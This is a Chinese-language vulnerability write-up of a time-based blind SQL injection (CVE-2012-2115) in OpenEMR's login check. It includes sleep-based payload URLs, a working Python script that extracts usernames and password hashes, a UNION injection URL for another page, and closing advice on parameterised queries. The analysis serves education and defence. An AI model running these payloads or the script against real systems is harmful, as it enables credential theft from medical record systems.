OpenEMR登录模块SQL注入分析

 聚焦源代码安全,网罗国内外最新资讯!

OpenEMR简介

OpenEMR 是一种免费和开源的医疗实践管理系统(Electronic Health Records,EHR),是 ONC 认证的完整电子健康记录系统,具有完全集成的电子病历,处方书写、医疗帐单和临床决策等功能。它在100多个国家被使用,服务超过2亿病患,被公认为全球最受欢迎开源电子健康记录和医疗实践管理解决方案。

OpenEMR 4.1.0及之前版本内的interface/login/validateUser.php存在SQL注入漏洞,可允许远程攻击者通过u参数执行任意SQL命令,以获取数据库敏感信息或劫持用户会话。

漏洞细节

validateUser.php如下:

<?php
$ignoreAuth=true;
include_once("../globals.php");
include_once("$srcdir/sql.inc");
$user = $_GET['u'];
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");
$passlength = $authDB['passlength'];
$pw = $authDB['password'];
if ($passlength == 32)
{
    echo "0";
}
else if($passlength == 40)
{
    echo "1";
}
?>


validateUser.php 由 login.php的 jquery 函数进行调用,检查初始登录中用于密码的哈希算法。如果密码的长度为40,则使用 sha1;长度为32,则使用md5。其中:

$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");

内的 '$user' 属于可控的输入部分,可以通过 ' 使注入点闭合。

登录界面 login.php 如图所示:

                                            

login.php 内相关的密码验证代码段如下:

function chk_hash_fn()
{
    var str = document.forms[0].authUser.value;
    $.ajax({
        url: "validateUser.php?u="+str,
        context: document.body,
        success: function(data){
            if(data == 0) 
            {
                document.forms[0].authPass.value=MD5(document.forms[0].clearPass.value);
                document.forms[0].authNewPass.value=SHA1(document.forms[0].clearPass.value);
            }
            else
            {
                document.forms[0].authPass.value=SHA1(document.forms[0].clearPass.value);
            }
            document.forms[0].clearPass.value='';
            document.login_form.submit();
        }
    });
}


openEMR 数据库的 users 表部分内容如下:

id

username

password

1

admin

pass

2

wang

1qaz2wsx

测试 validateUser.php?u=admin 返回1

尝试使用SELECT IF,通过服务器响应时间判定sql语句是否执行,从而试出username 个数。

编写注入语句:

http://localhost/openemr/interface/login/validateUser.php?u=%27%2B(SELECT+if((select%20count(username)%20from%20users)=2,sleep(3),1))%2B%27

如图所示,响应数秒后才生成页面,说明数据库响应了注入的SQL语句,并可判断 username 个数为2。

同理,可通过该方法枚举判断 user,password 长度并根据字符对应数据。

漏洞概念验证PoC

基本 payload:

validateUser.php?u='+(SELECT+if((select count(username) from users)=2,sleep(3),1))+'


validateUser.php?u='+(SELECT+if(length((select+group_concat(username,':',password)+from+users+limit+0,1))=1,sleep(3),1))+'


validateUser.php?u='+(SELECT+if(ascii(substr((select+group_concat(username,':',password)+from+users+limit+0,1),1,1))=1,sleep(3),1))+'


编写 python 脚本以进行时间盲注;另外添加了本地代理以使用 burpsuite 进行监听。

import requests
import string
import sys


all = string.printable
url = "http://10.75.154.145/openemr/interface/login/validateUser.php?u="
proxy = {"http":"http://127.0.0.1:8082","https":"http://127.0.0.1:8082"}
def extract_users_num():
    print("[+] Finding number of users...")
    for n in range(1,100):
        payload = '\'%2b(SELECT+if((select count(username) from users)=' + str(n) + ',sleep(3),1))%2b\''
        r = requests.get(url+payload,proxies=proxy)
        if r.elapsed.total_seconds() > 3:
            user_length = n
            break
    print("[+] Found number of users: " + str(user_length))
    return user_length


def extract_users():
    users = extract_users_num()
    print("[+] Extracting username and password hash...")
    output = []
    for n in range(1,1000):
        payload = '\'%2b(SELECT+if(length((select+group_concat(username,\':\',password)+from+users+limit+0,1))=' + str(n) + ',sleep(3),1))%2b\''
        r = requests.get(url+payload,proxies=proxy)
        if r.elapsed.total_seconds() > 3:
            length = n
            break
    for i in range(1,length+1):
        for char in all:
            payload = '\'%2b(SELECT+if(ascii(substr((select+group_concat(username,\':\',password)+from+users+limit+0,1),'+ str(i)+',1))='+str(ord(char))+',sleep(3),1))%2b\''
            r = requests.get(url+payload,proxies=proxy)
            print(r.request.url)
            if r.elapsed.total_seconds() > 3:
                output.append(char)
                if char == ",":
                    print("")
                    continue
                print(char, end='', flush=True)


try:
    extract_users()
except KeyboardInterrupt:
    print("")
    print("[+] Exiting...")
    sys.exit()


使用 repeater 模块进行分析,执行语句:

SELECT IF((select count(username) from users)=2,sleep(3),1)

耗时 6027ms,说明 SELECT IF 的结果为 true,数据库响应了请求并进行等待。从而确定了 username 个数为2。

有人可能会提出疑问,明明使用的是 sleep(3),为什么实际上用时为6秒?

这是因为在运行时,

$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");

validateUser.php 会执行嵌套内层select执行一次 sleep(3) 后,外层的 select语句又会执行一次 sleep(3),因此共花费6秒。此处使用 phpMyAdmin 进行验证。

单独执行 SELECT IF 内语句时,查询花费仅为3秒。

脚本部分运行结果:

继续监听,判断出 username,password 的长度为92个字符。

burpsuite 监听到该数据包的 MIME Type 为文本,说明该字符的 ascii 码与数据库内的字符对应,且 “a” 的 ascii 码为97,说明 username,password 中第一个字符为a。

通过 repeater 模块进行复现,回显部分产生延时,说明成功对应到数据库中字符。

最终结果:

成功通过SQL注入获取到数据库中 username,password 内容。

另外,OpenEMR 的 add_edit_issue.php 也有SQL注入漏洞,攻击者可以使用浏览器来利用此漏洞,本文不再展开。

http://www.example.com/interface/patient_file/summary/add_edit_issue.php?issue=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,user(),25,26,27--

预防SQL注入的方法

使用预处理语句(参数化查询),例如:

$stmt = $pdo->prepare('SELECT * FROM blog_posts WHERE YEAR(created) = ? AND MONTH(created) = ?');if (!$stmt->execute([$_GET['year'], $_GET['month']])) {
    header("Location: /blog/"); exit;
}
$posts = $stmt->fetchAll(\PDO::FETCH_ASSOC);

总结

SQL注入是一种非常常见的攻击手段,服务端没有对客户端的输入信息做过滤,使得信息被带入了数据库查询,从而暴露了数据库内的信息。未部署好防御工作的服务器,可以轻易地让攻击者获取数据库的后台管理员账号和密码,达到进一步渗透的目的,甚至造成整个数据库被"脱库”等。代码注入也长年保持在OWASP漏洞排名前十。因此建议用户使用一定的防御手段以及更加安全的扩展如 MySQLi、PDO MySQL 来防止 SQL 注入攻击。

参考资料

1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2115

2. http://www.securityfocus.com/bid/51247

3. https://www.securityfocus.com/bid/50289

4. https://www.exploit-db.com/exploits/49742

5. http://www.mavitunasecurity.com/sql-injection-vulnerability-in-openemr/

6. https://www.netsparker.com/blog/web-security/sql-injection-vulnerability/

7. https://mp.weixin.qq.com/s/MGefIEp69VxMZ2at8UICJA

8. https://www.freebuf.com/vuls/267017.html


推荐阅读

【缺陷周话】第 2 期 :SQL 注入

详细分析 Chrome V8 JIT 漏洞 CVE-2021-21220

详细分析PHP源代码后门事件及其供应链安全启示

微软“照片”应用Raw 格式图像编码器漏洞 (CVE-2021-24091)的技术分析

题图:Pixabay License

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 或 "赞” 吧~

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值